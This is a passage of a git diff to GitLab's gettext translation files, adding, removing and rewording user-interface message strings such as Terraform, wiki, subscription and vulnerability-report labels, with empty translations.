+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/fil_PH/gitlab.po b/locale/fil_PH/gitlab.po
index ddc87f7bcda..b729f8dcd42 100644
--- a/locale/fil_PH/gitlab.po
+++ b/locale/fil_PH/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: fil\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:42\n"
+"PO-Revision-Date: 2020-12-03 08:11\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
